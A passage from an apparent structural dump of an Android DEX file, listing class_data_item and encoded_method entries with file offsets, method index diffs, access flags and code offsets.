    00088c21 struct encoded_method
    00088c21 method_idx_diff int 0x117b0
    00088c22 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c23 code_off uint32 0x4c254
    00088c26
    00088c26 struct encoded_method
    00088c26 method_idx_diff int 0x117b8
    00088c27 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c28 code_off uint32 0x4c2ac
    00088c2b
    00088c2b struct encoded_method
    00088c2b method_idx_diff int 0x117c0
    00088c2c access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088c2d code_off uint32 0x4c320
    00088c30
    00088c30 struct encoded_method
    00088c30 method_idx_diff int 0x117c8
    00088c31 access_flags uint32 0x00000004 ; ACC_PROTECTED
    00088c32 code_off uint32 0x4c344
    00088c35
    00088c35 struct encoded_method
    00088c35 method_idx_diff int 0x117d0
    00088c36 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c37 code_off uint32 0x4c364
    00088c3a
    00088c3a struct encoded_method
    00088c3a method_idx_diff int 0x117e0
    00088c3b access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c3c code_off uint32 0x4c37c
    00088c3f
    00088c3f struct encoded_method
    00088c3f method_idx_diff int 0x117f0
    00088c40 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c41 code_off uint32 0x4c398
    00088c44
    00088c44 struct encoded_method
    00088c44 method_idx_diff int 0x11800
    00088c45 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c46 code_off uint32 0x4c3b4
    00088c49
    00088c49 struct encoded_method
    00088c49 method_idx_diff int 0x11808
    00088c4a access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c4b code_off uint32 0x4c3d0
    00088c4e
    00088c4e struct encoded_method
    00088c4e method_idx_diff int 0x11810
    00088c4f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c50 code_off uint32 0x4c3ec
    00088c53
    00088c53 struct encoded_method
    00088c53 method_idx_diff int 0x11820
    00088c54 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c55 code_off uint32 0x4c408
    00088c58
    00088c58 struct encoded_method
    00088c58 method_idx_diff int 0x11828
    00088c59 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c5a code_off uint32 0x4c440
    00088c5d
    00088c5d struct encoded_method
    00088c5d method_idx_diff int 0x11830
    00088c5e access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c5f code_off uint32 0x4c460
    00088c62
    00088c62 struct encoded_method
    00088c62 method_idx_diff int 0x11838
    00088c63 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c64 code_off uint32 0x4c488
    00088c67
    00088c67 struct encoded_method
    00088c67 method_idx_diff int 0x11840
    00088c68 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c69 code_off uint32 0x4c4b0
    00088c6c
    00088c6c struct encoded_method
    00088c6c method_idx_diff int 0x11848
    00088c6d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c6e code_off uint32 0x4c4e8
    00088c71
    00088c71 struct class_data_item
    00088c71 static_fields_size int 0
    00088c72 instance_fields_size int 0
    00088c73 direct_methods_size int 1
    00088c74 virtual_methods_size int 1
    00088c75
    00088c75 struct encoded_method
    00088c75 method_idx_diff int 0x11858
    00088c77 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088c7a code_off uint32 0x4c500
    00088c7d
    00088c7d struct encoded_method
    00088c7d method_idx_diff int 0x11860
    00088c7f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c80 code_off uint32 0x4c518
    00088c83
    00088c83 struct class_data_item
    00088c83 static_fields_size int 0
    00088c84 instance_fields_size int 0
    00088c85 direct_methods_size int 2
    00088c86 virtual_methods_size int 2
    00088c87
    00088c87 struct encoded_method
    00088c87 method_idx_diff int 0x11868
    00088c89 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088c8c code_off uint32 0x4c534
    00088c8f
    00088c8f struct encoded_method
    00088c8f method_idx_diff int 0x11870
    00088c90 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088c93 code_off uint32 0x4c54c
    00088c96
    00088c96 struct encoded_method
    00088c96 method_idx_diff int 0x11878
    00088c98 access_flags uint32 0x00000000
    00088c99 code_off uint32 0x4c564
    00088c9c
    00088c9c struct encoded_method
    00088c9c method_idx_diff int 0x11880
    00088c9d access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088c9e code_off uint32 0x4c588
    00088ca1
    00088ca1 struct class_data_item
    00088ca1 static_fields_size int 0
    00088ca2 instance_fields_size int 0
    00088ca3 direct_methods_size int 1
    00088ca4 virtual_methods_size int 1
    00088ca5
    00088ca5 struct encoded_method
    00088ca5 method_idx_diff int 0x11888
    00088ca7 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088caa code_off uint32 0x4c5a4
    00088cad
    00088cad struct encoded_method
    00088cad method_idx_diff int 0x11890
    00088caf access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088cb0 code_off uint32 0x4c5bc
    00088cb3
    00088cb3 struct class_data_item
    00088cb3 static_fields_size int 0
    00088cb4 instance_fields_size int 0
    00088cb5 direct_methods_size int 2
    00088cb6 virtual_methods_size int 3
    00088cb7
    00088cb7 struct encoded_method
    00088cb7 method_idx_diff int 0x11898
    00088cb9 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088cbc code_off uint32 0x4c5d8
    00088cbf
    00088cbf struct encoded_method
    00088cbf method_idx_diff int 0x118a0
    00088cc0 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088cc3 code_off uint32 0x4c5f0
    00088cc6
    00088cc6 struct encoded_method
    00088cc6 method_idx_diff int 0x118a8
    00088cc8 access_flags uint32 0x00000000
    00088cc9 code_off uint32 0x4c608
    00088ccc
    00088ccc struct encoded_method
    00088ccc method_idx_diff int 0x118b0
    00088ccd access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088cce code_off uint32 0x4c62c
    00088cd1
    00088cd1 struct encoded_method
    00088cd1 method_idx_diff int 0x118b8
    00088cd2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088cd3 code_off uint32 0x4c64c
    00088cd6
    00088cd6 struct class_data_item
    00088cd6 static_fields_size int 0
    00088cd7 instance_fields_size int 0
    00088cd8 direct_methods_size int 1
    00088cd9 virtual_methods_size int 1
    00088cda
    00088cda struct encoded_method
    00088cda method_idx_diff int 0x118e0
    00088cdc access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088cdf code_off uint32 0x4c668
    00088ce2
    00088ce2 struct encoded_method
    00088ce2 method_idx_diff int 0x118e8
    00088ce4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088ce5 code_off uint32 0x4c680
    00088ce8
    00088ce8 struct class_data_item
    00088ce8 static_fields_size int 0
    00088ce9 instance_fields_size int 0
    00088cea direct_methods_size int 2
    00088ceb virtual_methods_size int 10
    00088cec
    00088cec struct encoded_method
    00088cec method_idx_diff int 0x118f0
    00088cee access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088cf1 code_off uint32 0x4c69c